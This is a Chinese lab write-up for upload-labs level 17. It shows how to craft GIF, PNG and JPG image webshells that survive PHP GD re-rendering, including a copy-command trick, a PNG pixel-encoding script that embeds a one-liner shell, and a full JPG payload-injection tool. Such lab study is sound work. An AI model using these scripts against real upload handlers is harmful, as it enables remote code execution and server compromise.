制作图片马:二次渲染(upload-labs第17关)

代码分析

$im = imagecreatefromjpeg($target_path);

在本关的代码中这个imagecreatefromjpeg();函数起到了将上传的图片打乱并重新组合。这就意味着在制作图片马的时候要将木马插入到图片没有被改变的部分。

gif

gif图的特点是无损,我们可以对比上传前后图片的内容字节,在渲染后不会被修改的部分插入木马。推荐使用010editor来比较两个图片的不用之处来插入一句话木马

  1. 创建php文件和jif图片
<?php phpinfo() ?>;
  1. 将php代码和gif图片整合在一起
copy 3.gif /b + web.php /a xh.gif //切换到相应的目录在windows命令行里面切换到相应的目录然后输入命令。

在这里插入图片描述

  1. 使用010 Editor16进制编辑器查看2.gif内容,可以看出php代码已经插入图片马中了:
    在这里插入图片描述
  2. 上传制作好的图片并下载查看
    在这里插入图片描述
    发现插入的木马不在了
    GIF绕过二次渲染的方法,就是通过对比上传前和上传后的两个文件,如果说哪个位置,它的上传前和上传后的没有变,我们就把php一句话代码插入到这个位置
  3. 比较两个图片,在不变的位置插入一句话木马
    在这里插入图片描述
  4. 再次上传图片

复制上传后图片的链接并输入到浏览器的url中会发现执行了一句话木马

在这里插入图片描述

png

png图片的特点是:PNG的文件格式有个特性,就是在IDAT(图像数块)开始的地方写入字符串等等不会损坏图片的显示(一般改完都是一片黑)。

  1. 利用脚本生成一个png格式的图片马
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./xh.png');
?>

在这里插入图片描述
运行之后在左侧生成一个图片

  1. 查看图片
    在这里插入图片描述
    生成了一段一句话木马
  2. 上传图片,并查看图片的源码
    在这里插入图片描述
    对比两个图片发现在上传之后并没有将一句话木马打乱。

gpj图片

gpj图片非常的易损,制作困难对选取的图片也有一定的要求,一定要多试。

  1. 利用脚本生成一个图片马
<?php
    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

上述代码实现了一个包含隐藏恶意payload的JPG图像注入技术。具体来说,这个脚本会尝试在指定的JPEG图像文件中插入恶意PHP代码,并通过添加空字节的方式进行隐藏。一旦成功将恶意payload注入到图像中并成功验证,就会输出’Success!'。

推荐使用证件照来上传,本人在测试的时候用证件照在插入php代码的时候图片没有损坏可以上传

  1. 首先找一张jpg的图片上传到服务器上
  2. 将传上去的图片保存到本地
  3. 在本地cmd执行 php demo.php(上述写的代码) 21790.gpj(在服务器下载的图片)
    在这里插入图片描述
  4. 执行命令后会在本地生成一个新的gpj图片生成的图片命令格式通常为playload_*.jpg
  5. 再次上传新生成的图片,当图片上传成功后复制其链接输入到浏览器的url中
    在这里插入图片描述
    制作不易:还望客官多多担待。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/452575.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

上海亚商投顾:沪指震荡调整 飞行汽车概念股持续爆发

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 一.市场情绪 沪指昨日震荡调整&#xff0c;深成指走势稍强&#xff0c;创业板指一度涨超1%&#xff0c;黄白二线走势分化&a…

每3秒一例骨折!别把骨质疏松不当病,新设备「双能X线骨密度仪」为您的健康加“骨”劲

随着社会老龄化日益加剧&#xff0c;我国骨质疏松患者人数已居世界首位。骨质疏松症已成为对中老年健康构成严重威胁的慢性疾病&#xff0c;且存在诊断率低、治疗率低、长期药物治疗依从性低的三低问题。 很多人认为的骨质疏松是一种老化的自然现象不同&#xff0c;这其实是一种…

springboot267大学生科创项目在线管理系统的设计与实现

# 大学生科创项目在线管理系统设计与实现 摘 要 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费事费力。因此&#xff0c;在计算机上安装大学生科创项目在…

Spring Schedule:Spring boot整合Spring Schedule实战讲解定时发送邮件的功能

&#x1f389;&#x1f389;欢迎光临&#xff0c;终于等到你啦&#x1f389;&#x1f389; &#x1f3c5;我是苏泽&#xff0c;一位对技术充满热情的探索者和分享者。&#x1f680;&#x1f680; &#x1f31f;持续更新的专栏《Spring 狂野之旅&#xff1a;从入门到入魔》 &a…

【C++教程从0到1入门编程】第九篇:STL中Vector类

一、vector的介绍 1.vector的介绍 vector是表示可变大小数组的序列容器。 就像数组一样&#xff0c;vector也采用的连续存储空间来存储元素。也就是意味着可以采用下标对vector的元素进行访问&#xff0c;和数组一样高效。但是又不像数组&#xff0c;它的大小是可以动态改变的&…

如何处理爬虫代理的404错误

目录 前言 一、什么是404错误 二、处理404错误的方法 1. 重新尝试请求 2. 使用备用代理 3. 日志记录 总结 前言 在进行网络爬虫开发过程中&#xff0c;经常会遇到一些特殊的错误&#xff0c;例如404错误。当我们使用代理服务器进行网络爬取时&#xff0c;有时候会遇到4…

vMware WorkStation创建虚拟机安装CentOS7,NAT模式配置网络

一、安装虚拟机 1、选择典型&#xff08;推荐&#xff09;配置 2、选择稍后安装操作系统 3、操作系统选择CentOS7 64位 4、虚拟机命名、选择安装位置 6、指定磁盘容量 7、指定磁盘容量 步骤&#xff1a; &#xff08;1&#xff09;、系统内存2GB &#xff08;2&#xff09;、…

vue项目:webpack打包优化实践

本文目录 一、项目基本信息二、分析当前项目情况1、使用 webpack-bundle-analyzer 插件2、使用 speed-measure-webpack-plugin 插件 三、解决构建问题1、caniuse-lite 提示的问题2、 warning 问题 四、打包速度优化1、修改source map2、处理 loader 五、webpack性能优化1、使用…

P4551 最长异或路径

最长异或路径 题目描述 给定一棵 n n n 个点的带权树&#xff0c;结点下标从 1 1 1 开始到 n n n。寻找树中找两个结点&#xff0c;求最长的异或路径。 异或路径指的是指两个结点之间唯一路径上的所有边权的异或。 输入格式 第一行一个整数 n n n&#xff0c;表示点数…

Threejs粒子水波纹效果

依赖 three&#xff08;这个重要&#xff09;react &#xff08;这个不重要&#xff09;ahooks&#xff08;这个不重要&#xff09;unocss&#xff08;这个不重要&#xff09; 效果 代码 import React, { useEffect, useRef } from react; import { useGetState } from ahoo…

视频AI方案:数据+算力+算法,人工智能的三大基石

背景分析 随着信息技术的迅猛发展&#xff0c;人工智能&#xff08;AI&#xff09;已经逐渐渗透到我们生活的各个领域&#xff0c;从智能家居到自动驾驶&#xff0c;从医疗诊断到金融风控&#xff0c;AI的应用正在改变着我们的生活方式。而数据、算法和算力&#xff0c;正是构…

基于SpringBoot+MYSQL的社区团购系统

目录 1、前言介绍 2、主要技术 3、系统流程分析 3.1、注册流程 3.2、登录流程 3.3、购买流程 4、系统设计 4.1、系统结构设计 4.2、系统顺序图 4.2.1、登录模块顺序图 4.2.2、添加信息模块顺序图 4.3、数据库设计 4.3.1、数据库E-R图设计 4.3.2、数据库表设计 5、…

找不到mfc140u.dll怎么办?修复缺失mfc140u.dll的多种方案分享

mfc140u.dll文件是一个重要的动态链接库文件&#xff0c;它在Windows操作系统中发挥着关键的作用。由于各种原因&#xff0c;例如应用程序冲突或系统错误等&#xff0c;mfc140u.dll文件有时会出现丢失的情况。一旦发生这种问题&#xff0c;运行依赖此文件的应用程序将无法正常启…

(2)(2.12) Robsense SwarmLink

文章目录 前言 1 规格&#xff08;根据制造商提供&#xff09; 2 EasySwarm 3 参数说明 前言 Robsense SwarmLink 遥测无线电可将多架无人机连接到一个地面站&#xff0c;而无需在地面站一侧安装多个无线电&#xff08;即创建一个网状网络&#xff09;。此外&#xff0c;还…

解决vue2+elementUI的下拉框出现自动校验的问题

问题&#xff1a; 总结原因是因为新增的时候&#xff0c;传了空值进去 可以这样子解决 this.formData.value && this.$set(this.model, this.formData.key, this.formData.value)这种是只有值存在的时候才会给他赋值&#xff0c;但是这只解决单选下拉框&#xff0c;…

精读《正交的 React 组件》

1 引言 搭配了合适的设计模式的代码&#xff0c;才可拥有良好的可维护性&#xff0c;The Benefits of Orthogonal React Components 这篇文章就重点介绍了正交性原理。 所谓正交&#xff0c;即模块之间不会相互影响。想象一个音响的音量与换台按钮间如果不是正交关系&#xf…

10、Redis分布式系统之数据分区算法

Redis分布式系统之数据分区算法 1、什么是Redis分布式系统 ​ Redis分布式系统&#xff0c;官方称为Redis Cluster, Redis集群&#xff08;这个集群和前面的主从复制集群不同&#xff0c;这个集群可以理解为是多个主从复制集群所组成的集群&#xff09;&#xff0c;其实是Red…

保研复习数据结构记(4)--树(二叉树、线索树、哈夫曼树,并查集)

一.树的基本术语 1.树 什么是空树&#xff1f;结点数为0的树非空树的特性&#xff1f;有且仅有一个根结点&#xff0c;没有后继的结点称为“叶子结点”&#xff0c;有后继的结点称为“分支结点”&#xff0c;除了根结点外任何一个结点都有且仅有一个前驱&#xff0c;每个结点…

VS 调试Hololens 2工程报错 有未经处理的异常: Microsoft C++ 异常:

原因是unity 少安装了XR工具包 安装完后重新用unity打包&#xff0c;然后vs打开打包出来的工程&#xff0c;电脑和眼镜用usb连接&#xff0c;直接运行调试就可以了

力扣L6--- 两数之和(java版)--2024年3月12日

1.题目 2.知识点 注1&#xff1a;在Java中&#xff0c;数组的长度不是通过调用一个方法获得的&#xff0c;而是通过一个属性直接获得的。因此&#xff0c;正确的语法是nums.length而不是nums.length()。 所以应该使用int m nums.length; 注2&#xff1a;return new int[]{i,…